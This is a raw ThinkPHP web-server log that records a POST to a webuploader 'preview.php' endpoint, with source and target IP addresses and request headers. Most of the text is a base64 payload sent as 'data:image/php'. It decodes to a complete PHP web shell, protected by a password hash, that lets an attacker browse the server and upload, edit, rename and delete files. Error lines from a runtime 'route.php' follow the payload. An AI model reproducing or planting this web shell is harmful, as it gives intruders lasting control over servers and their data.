'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:09:11+08:00 ] 119.42.146.234 POST 59.110.137.245/public/static/libs/webuploader/0.1.15/server/preview.php [运行时间:0.002784s] [吞吐率:359.19req/s] [内存消耗:196.81kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 